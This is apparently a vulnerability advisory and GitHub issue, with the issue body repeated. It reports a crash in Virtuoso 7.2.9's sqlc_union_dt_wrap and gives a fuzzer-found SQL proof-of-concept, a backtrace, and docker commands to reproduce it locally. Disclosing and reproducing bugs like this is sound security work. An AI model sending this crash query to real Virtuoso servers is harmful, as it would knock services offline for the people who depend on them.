An issue in the sqlc_union_dt_wrap component of openlink virtuoso-opensource v7.2.9 allows attackers to cause a Denial of Service (DoS) via crafted SQL statements.
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT SUM(v), COUNT(*) FROM gstest_empty
UNION ALL
SELECT SUM(v), NULL FROM gstest_empty
UNION ALL
SELECT NULL, COUNT(*) FROM gstest_empty
UNION ALL
SELECT NULL, NULL
```
backtrace:
```c
#0 0x81a65e (sqlc_union_dt_wrap+0x5e)
#1 0x81a783 (sqlc_union_order+0x33)
#2 0x6b6f11 (sql_stmt_comp+0x511)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x7c8cd0 (stmt_set_query+0x340)
#5 0x7cabc2 (sf_sql_execute+0x922)
#6 0x7cbf4e (sf_sql_execute_w+0x17e)
#7 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#8 0xe1f01c (future_wrapper+0x3fc)
#9 0xe2691e (_thread_boot+0x11e)
#10 0x7f5244ae3609 (start_thread+0xd9)
#11 0x7f52448b3133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
virtuoso 7.2.9 crashed at sqlc_union_dt_wrap
This is a GitHub Issue
repo:virtuoso-opensource
owner:openlink
Title : virtuoso 7.2.9 crashed at sqlc_union_dt_wrap
Issue date:

--- start body ---
The PoC is generated by my DBMS fuzzer.
```SQL
SELECT SUM(v), COUNT(*) FROM gstest_empty
UNION ALL
SELECT SUM(v), NULL FROM gstest_empty
UNION ALL
SELECT NULL, COUNT(*) FROM gstest_empty
UNION ALL
SELECT NULL, NULL
```
backtrace:
```c
#0 0x81a65e (sqlc_union_dt_wrap+0x5e)
#1 0x81a783 (sqlc_union_order+0x33)
#2 0x6b6f11 (sql_stmt_comp+0x511)
#3 0x6ba122 (sql_compile_1+0x1a62)
#4 0x7c8cd0 (stmt_set_query+0x340)
#5 0x7cabc2 (sf_sql_execute+0x922)
#6 0x7cbf4e (sf_sql_execute_w+0x17e)
#7 0x7d4c0d (sf_sql_execute_wrapper+0x3d)
#8 0xe1f01c (future_wrapper+0x3fc)
#9 0xe2691e (_thread_boot+0x11e)
#10 0x7f5244ae3609 (start_thread+0xd9)
#11 0x7f52448b3133 (clone+0x43)
```

ways to reproduce (write poc to the file '/tmp/test.sql' first):
```bash
# remove the old one
docker container rm virtdb_test -f
# start virtuoso through docker
docker run --name virtdb_test -itd --env DBA_PASSWORD=dba openlink/virtuoso-opensource-7:7.2.9
# wait the server starting
sleep 10
# check whether the simple query works
echo "SELECT 1;" | docker exec -i virtdb_test isql 1111 dba
# run the poc
docker exec -i virtdb_test isql 1111 dba < "/tmp/test.sql"
```
--- end body ---
